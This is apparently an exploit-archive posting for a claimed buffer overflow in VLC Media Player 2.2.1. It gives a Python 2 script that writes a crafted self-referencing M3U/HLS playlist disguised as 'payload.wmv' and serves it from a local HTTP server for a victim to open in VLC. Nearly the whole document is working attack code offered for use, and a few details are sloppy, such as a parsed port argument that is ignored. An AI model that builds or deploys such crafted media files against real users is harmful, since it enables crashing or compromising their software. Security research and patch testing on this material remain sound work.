VLC Media Player version 2.2.1 suffers from a buffer overflow vulnerability.
8d54ac5735ae7e4cb830045676f5c7c657f8076814f587a26a777142ade24e68
Exploit Title: VLC Media Player 2.2.1 Buffer Overflow
2016-09-28
Author: sultan albalawi
Software Link: https://www.videolan.org/vlc/releases/2.2.1.html
Tested on:win7
video :https://www.facebook.com/pentest3/videos/vb.100012552940568/189735791454851/?type=2&theater¬if_t=video_processed¬if_id=1475012468070044
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filecreate = "payload.wmv" # create file (payload.wmv)
buffer = ("\x23\x45\x58\x54\x4d\x33\x55\r\n\x23"+
"\x45\x58\x54\x2d\x58\x2d\x53\x54\x52"+
"\x45\x41\x4d\x2d\x49\x4e\x46\x3a\x50"+
"\x52\x4f\x47\x52\x41\x4d\x2d\x49\x44"+
"\x3d\x31\x2c\x42\x41\x4e\x44\x57\x49"+
"\x44\x54\x48\x3d\x31\x2c\x52\x45\x53"+
"\x4f\x4c\x55\x54\x49\x4f\x4e\x3d\x31"+
"\x32\x30\x78\x33\x36\x30\r\n")
buffer += filecreate
open(filecreate, "wb").write(buffer)
print "create file done {}".format(filecreate)
import BaseHTTPServer
import sys
from SimpleHTTPServer import SimpleHTTPRequestHandler
HandlerClass = SimpleHTTPRequestHandler
ServerClass = BaseHTTPServer.HTTPServer
Protocol = "HTTP/1.0"
if sys.argv[1:]:
port = int(sys.argv[1])
else:
port =8080
server_address = ('192.168.100.3',8080)
HandlerClass.protocol_version = Protocol
httpd = ServerClass(server_address, HandlerClass)
sa = httpd.socket.getsockname()
print sa[0],sa[1],filecreate
print "open vlc and open file {}".format(filecreate)
print "LISTENING..",sa[0],sa[1],filecreate
httpd.serve_forever()